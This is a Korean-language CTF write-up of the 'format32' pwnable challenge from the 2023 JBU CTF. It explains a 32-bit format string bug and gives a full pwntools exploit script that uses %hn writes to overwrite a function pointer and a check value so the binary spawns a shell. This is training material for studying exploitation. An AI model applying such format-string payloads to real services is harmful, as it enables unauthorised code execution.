CTF

[2023 JBU CTF] format32 write-up

e_yejun 2023. 10. 28. 22:04

๋ถ„์•ผ : Pwnable

๐Ÿง ๋ฌธ์ œ

๋ฌธ์ œ๋ช… : format32

32bit ํ™˜๊ฒฝ์—์„œ format string bug๋กœ ํฌ์ธํ„ฐ๋ฅผ overwriteํ•˜์—ฌ get_shellํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

 

์œ„ ๊ตฌ์„ฑ์ด ๋ฌธ์ œํŒŒ์ผ๋กœ ์ œ๊ณต๋œ๋‹ค. ๋กœ์ปฌ์—์„œ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์˜ฌ๋ ค ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ง„ํ–‰ํ•˜๊ณ , ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์„œ๋ฒ„์— ์ „์†กํ•˜๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๐Ÿง ๋ถ„์„

๋ณดํ˜ธ ๊ธฐ๋ฒ•์€ ์œ„์™€ ๊ฐ™๋‹ค. ๋ฌธ์ œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž.

 

mainํ•จ์ˆ˜์ด๋‹ค. buf์— ๊ฐ’์„ 256byte ์ž…๋ ฅ๋ฐ›๊ณ , ์ด๋ฅผ ์ถœ๋ ฅํ•  ๋•Œ format string bug๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

funcPtrํฌ์ธํ„ฐ์— winํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜๊ณ , check์ „์—ญ๋ณ€์ˆ˜์˜ ๊ฐ’์ด 0xdeadbeef์ด๋ฉด funcPtr์— ๋“ค์–ด๊ฐ„ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

format string bug๋กœ ํŠน์ • ๋ฉ”๋ชจ๋ฆฌ ๊ฐ’๋“ค์„ overwrite ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, check์ „์—ญ๋ณ€์ˆ˜์— ์ ์ ˆํ•œ ๊ฐ’์„ write ํ•˜๋ฉด ๋œ๋‹ค.

 

winํ•จ์ˆ˜๋Š” ๊ทธ์ € ์ถœ๋ ฅํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ด๊ธฐ ๋•Œ๋ฌธ์—, funcPtr์ „์—ญ๋ณ€์ˆ˜๋„ winํ•จ์ˆ˜ ์ฃผ์†Œ์—์„œ get_shell์ฃผ์†Œ๋กœ overwrite ํ•ด์ค˜์•ผ ํ•œ๋‹ค.

 

get_shellํ•จ์ˆ˜๋Š” system('/bin/sh');์œผ๋กœ ์…ธ์„ ํš๋“ํ•œ๋‹ค.

 

์ž…๋ ฅํ•œ AAAA๊ฐ€ 11๋ฒˆ์งธ์—์„œ leak๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž…๋ ฅ ์‹œ writeํ•  ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด๋‘๊ณ  ์ด๋ฅผ %11$hn๊ณผ ๊ฐ™์ด ์ง€์ •ํ•˜์—ฌ ํ•ด๋‹น ์•ž์— ๋ฌธ์ž์—ด ๊ฐœ์ˆ˜๋งŒํผ ๊ฐ’์„ overwriteํ•œ๋‹ค.

 

๐Ÿง ์ต์Šคํ”Œ๋กœ์ž‡

from pwn import *
#context.log_level = 'debug'

#p = process('./format32')
e = ELF('./format32')
p = remote('192.168.83.137', 13574)
libc = e.libc

exit_got = e.got['exit']
check = e.symbols['check']
func = e.symbols['funcPtr']
shell = e.symbols['get_shell']

#get_shell = 0x08049296
#check = 0xdeadbeef
payload = b''
payload += p32(func)
payload += p32(func+2)
payload += p32(check)
payload += p32(check+2)
payload += b'%37510c%11$hn' #0x9296
payload += b'%30062c%12$hn' #0x10804
payload += b'%46827c%13$hn' #0x1beef
payload += b'%8126c%14$hn'  #0x1dead

#gdb.attach(p)
#pause()

p.send(payload)

p.interactive()

ํ•ด๋‹น exploit ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.